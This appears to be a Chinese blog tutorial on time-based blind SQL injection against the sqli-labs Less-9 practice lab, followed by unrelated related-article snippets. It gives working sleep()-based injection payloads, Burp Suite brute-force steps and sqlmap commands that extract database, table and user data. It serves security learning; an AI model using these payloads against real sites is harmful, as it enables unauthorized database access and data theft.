关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入

SQL时间注入是一种常见的SQL注入攻击方式,攻击者通过在SQL语句中注入时间相关的代码,来获取敏感信息或者执行非法操作。其基本原理如下:

  1. 攻击者向Web应用程序中输入一段恶意代码,通过SQL语句查询数据库,并注入时间相关的代码。

  2. 时间相关的代码可以包括sleep()函数、benchmark()函数等,这些函数会导致SQL语句执行时间的延迟或者变化。

  3. 攻击者可以根据SQL语句的执行时间,来推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。

  4. 通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,获取敏感信息或者执行非法操作。

首先我们介绍手动测试,以便大家熟悉原理。

payload主要基于三个函数:sleep()、substr()、if()

以sqllabs-less-9为靶场测试

由于这里无论输入什么都是回显一个内容,因此我们尝试时间盲注

简单使用sleep函数测试,找到闭合点是单引号

?id=1' and sleep(5)--+

可以观察到明显的延时现象后才出现回显内容

我们也可以通过查看请求耗时

6.09s,和我们设置的sleep 5s 差不多,说明sleep语句被执行了,存在时间盲注

那么我们接下来需要先判断当前数据库的长度,使用length函数

?id=1' and if(length(database())=8,sleep(10),0) --+

如果当前数据库的长度为8,则会延时10s 

依旧出现了明显的延时现象

基于这样的一个延时原理,接下来我们使用burpsuite进行爆破

假设我们不知道数据库长度是8,我们先爆破数据库长度

爆破payload:

?id=1' and if(length(database())=1,sleep(3),0) --+

为了爆破时间短一点,我们可以将sleep的时间设置短一点

(但是有时候这个sleep时间也会影响到判断的准确性)

设置爆破位置,选用攻击类型(狙击手,单个参数爆破)

设置爆破字典

如果直接看结果是看不出来的,因为都是回显正常

我们需要基于响应耗时来筛选

按照这个排序

可以看到,正常的响应大约是1s

长度为8时,耗时3999ms,大约4s,即加上了sleep延时的3s

判断出有效载荷为8是执行了sleep函数,因此数据库长度为8

接下来爆数据库名

这里还是需要使用 substr() 函数,该函数和我们在布尔盲注中讲的substring函数类似。

两者都是截取字符串,不同点在于第二个参数

substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);

substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。

若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。

爆破payload:

?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

同样选择攻击模式(集束炸弹,不明白的请参考我之前布尔盲注爆破的讲解)

以及设置爆破位置,这里需要爆破的参数有两个

第一个参数的字典显然是1到8(因为数据库长度为8)

第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)

同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload

再将其按照payload1从1到8的顺序排列

得到当前数据库名为:security

接下来我们爆破该数据库下的表名

(我们可以先爆破表名的长度再爆破具体内容,但是其实也可以直接爆破内容)

尽管长度我们不确定,但是我们的字典长度稍微设置大一点即可确保爆破出的内容完整。

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

设置攻击类型,爆破参数位置

设置字典

筛选攻击结果

整理得到第一张表名为:emails 

如果你不确定长度是否正确,可以将'6'带入语句进行验证,若出现延时则表明长度正确。

那么我们通过调整limit的参数即可获取到其他的表名,有时候也可以使用group_concat函数。

至于爆破列名以及具体字段内容也是一个道理,这里就不再过多演示,给出一些payload:

爆破security数据库下emails表下的列名

(可以设置三个参数,增设limit的爆破参数以获取所有列名,具体参考我布尔盲注那篇文章)

?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

爆破具体字段

?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='a',sleep(3),0)--+

或者用

?id=1' and if(substring((select group_concat(email_id)from security.emails),1,1)='a',sleep(3),0)--+

最后给出的payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。

那么最后我们再讲一下使用sqlmap实现全自动的时间盲注

先进行基本检测:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T

参数说明:

-u 指定检测的 url
-p 指定检测的参数
-v 显示调试模式
--technique=T 检测方法为时间注入

经sqlmap 检测为时间注入,通过这个注入我们可以获取相关数据库信息。

获取用户和数据库名:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch

参数说明:

--current-user 获取用户
--current-db 获取当前库
--batch 使用默认模式,自动 y

 时间比较久,但是准确性是相当可靠的。

这么说吧:一般sqlmap能跑出来的基本上都没啥问题,这种是不存在什么绕过和过滤的,一般存在过和过滤的,sqlmap基本上都跑不出来,需要手工注入。

得到时间盲注结果:

current user: 'root@localhost'

current database: 'security'

接下来我们获取表名

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch

参数说明:

-D 指定数据库
--tables 获取表

sqlmap注入结果:

获取security数据库下所有的表为

+----------+
| emails   |
| referers |
| uagents |
| users     |
+----------+

与本地对比,结果正确

接下来我们获取列名: 

这里以users表为例

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch

参数说明:

-T 指定表
--columns 获取列名(字段名)

我这里就不等了,最终你可以爆出所有的列。

最后我们获取字段具体内容:

为了节约时间,我这里只演示查id和username

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username" -T users -D security --batch

参数说明:

--dump 导出数据
-C 指定查询的字段

 由于结果有很多,这里我也不等了,各位可以自行验证。

 与本地对照,结果一致。

以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。

创作不易,期待大家的支持与关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/275716.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【论文阅读】Resource Allocation for Text Semantic Communications

这是一篇关于语义通信中资源分配的论文。全文共5页,篇幅较短。 目录在这里 摘要关键字引言语义通信资源分配贡献公式符号 系统模型DeepSC TransmitterTransmission ModelDeepSC Receiver 语义感知资源分配策略Semantic Spectral Efficiency (S-SE&#…

ClickHouse基础知识(二):ClickHouse 安装教程

1. 准备工作 1.1 确定防火墙处于关闭状态 1.2 CentOS 取消打开文件数限制 (1)在 hadoop101 的 /etc/security/limits.conf 文件的末尾加入以下内容 sudo vim /etc/security/limits.conf(2)在 hadoop101 的/etc/security/limits.…

主编夜话,2023 技术圈儿大事件盘点丨 RTE 开发者日报 Vol.115

开发者朋友们大家好: 这里是「 RTE 开发者日报 」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE (Real Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…

netty trojan

参考代码:https://github.com/kdyzm/trojan-client-netty 参考博客: github代码作者的博客:https://blog.kdyzm.cn/post/71 trojan-go介绍:https://p4gefau1t.github.io/trojan-go/developer/trojan/ trojan协议介绍:h…

Python 进阶(十八):配置文件(configparser 模块)

大家好,我是水滴~~ configparser模块是Python标准库中的一个模块,用于解析配置文件。它提供了一种简单而灵活的方式来读取、修改和写入INI格式的配置文件。本文将介绍该模块是如何操作配置文件的。 文章中包含大量的示例代码,希望能够帮助新…

Google Ad帐号被封?这几个关键点看好

海外广告投放工作中,账号是非常重要的环节。与在Facebook上运行广告相比,运行Google Ads在代理选择方面通常没有那么严格,因为 Google 对 IP 使用并不那么严格。但是,这并不意味着您可以不加考虑地使用任何代理IP。在本文中&#…

vue3-富文本编辑器(vue-quill)

官网&#xff1a;VueQuill | Rich Text Editor Component for Vue 3 安装 pnpm add vueup/vue-quilllatest 使用 局部使用 先导包 import { QuillEditor } from vueup/vue-quill import vueup/vue-quill/dist/vue-quill.snow.css; 再使用 <QuillEditor theme"snow…

Arduino中手写脉冲控制步进电机-2

目录 1、前言 2、时间-位移关系计算 3、Matlab计算时间和位置数据 (1)Matlab程序 &#xff08;2&#xff09;Arduino程序 4、Matlab生成Arduino电机正反转程序语句 &#xff08;1&#xff09;Arduino程序 &#xff08;2&#xff09;Matlab 命令行方式生成Arduino步进电…

21.仿简道云公式函数实战-数学函数-COS

1. COS函数 COS 函数可用于计算角度的余弦值&#xff0c;返回 -1 到 1 之间的数值。 2. 函数用法 COS(弧度) 3. 函数示例 如计算 COS(60) 的值&#xff0c;可设置公式为COS(RADIANS(60))&#xff0c;返回 0.5。 4. 代码实战 首先我们在function包下创建math包&#xff0…

【C++】开源:cpp-httplib HTTP协议库配置与使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍cpp-httplib HTTP协议库配置与使用。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&a…

Python入门学习篇(十一)——函数注释函数嵌套全局变量与局部变量

1 函数注释 1.1 使用说明 第一步 在函数体里面输入三个""" 第二步 回车1.2 示例代码 def quotient(divisor,dividend):""":param divisor: 除数:param dividend: 被除数:return: 商"""return divisor/dividendnum1int(input(&…

10. Opencv检测并截取图中二维码

1. 说明 在二维码扫描功能开发中,使用相机扫描图片时,往往图片中的信息比较多样,可能会造成二维码检测失败的问题。一种提高检测精度的方式就是把二维码在图片中单独抠出来,去除其它冗余信息,然后再去识别这张提取出来的二维码。本篇博客记录采用的一种实现二维码位置检测…

律师卷宗档案保存期限多久?律师档案卷宗如何整理?

律师卷宗档案的保存期限可以根据不同法律和法规进行调整&#xff0c;因此可能会有所不同。一般来说&#xff0c;律师卷宗档案的保存期限通常为10年以上。然而&#xff0c;具体的保存期限还会受到当地司法体系和律师协会规定的影响。建议您咨询所在地的律师协会或相关法律机构&a…

AGV智能搬运机器人-替代人工工位让物流行业降本增效

在当今快速发展的世界中&#xff0c;物流业面临着巨大的挑战&#xff0c;包括提高效率、降低成本和优化工作流程。为了应对这些挑战&#xff0c;一种新型的自动化设备——智能搬运机器人正在崭露头角。本文将通过一个具体的案例来展示富唯智能转运机器人在实际应用中的价值。 案…

【2023】通过docker安装hadoop以及常见报错

&#x1f4bb;目录 1、准备2、安装镜像2.1、创建centos-ssh的镜像2.2、创建hadoop的镜像 3、配置ssh网络3.1、搭建同一网段的网络3.2、配置host实现互相之间可以免密登陆3.3、查看是否成功 4、安装配置Hadoop4.1、添加存储文件夹4.2、添加指定配置4.3、同步数据 5、测试启动5.1…

openGauss学习笔记-175 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作示例

文章目录 openGauss学习笔记-175 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作示例175.1 相同表的INSERT和DELETE并发175.2 相同表的并发INSERT175.3 相同表的并发UPDATE175.4 数据导入和查询的并发 openGauss学习笔记-175 openGauss 数据库运维-备份与恢复-导入…

【新版Hi3536AV100性能果真强悍】

Hi3536AV100是针对多路高清/超高清&#xff08;1080p/4M/5M/4K&#xff09;智能NVR产品应用开发的新一代专业高端SoC芯片。 Hi3536AV100集成了ARM Cortex-A55八核处理器和性能强大的神经网络处理器&#xff0c;支持多种智能算法应用。 Hi3536AV100支持32路1080p多协议解码及4路…

js中深拷贝与浅拷贝的区别?如何实现一个深拷贝?(收藏好,用时好找)

文章目录 一、数据类型存储二、浅拷贝Object.assignslice()concat()拓展运算符 三、深拷贝_.cloneDeep()jQuery.extend()JSON.stringify()循环递归 四、区别小结 一、数据类型存储 前面文章我们讲到&#xff0c;JavaScript中存在两大数据类型&#xff1a; 基本类型引用类型 …

CorelCAD各版本安装指南

下载链接 https://pan.baidu.com/s/1v0VgYRaaRRUeAgJC__0rPw?pwd0531 1.鼠标右击【CorelCAD2023(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 CorelCAD2023(64bit)】。 2.打开解压后的文件夹&#xff0c;鼠标右击【CorelCA…

Mybatis行为配置之Ⅱ—结果相关配置项说明

专栏精选 引入Mybatis Mybatis的快速入门 Mybatis的增删改查扩展功能说明 mapper映射的参数和结果 Mybatis复杂类型的结果映射 Mybatis基于注解的结果映射 Mybatis枚举类型处理和类型处理器 再谈动态SQL 文章目录 专栏精选引言摘要正文autoMappingBehaviorautoMappingU…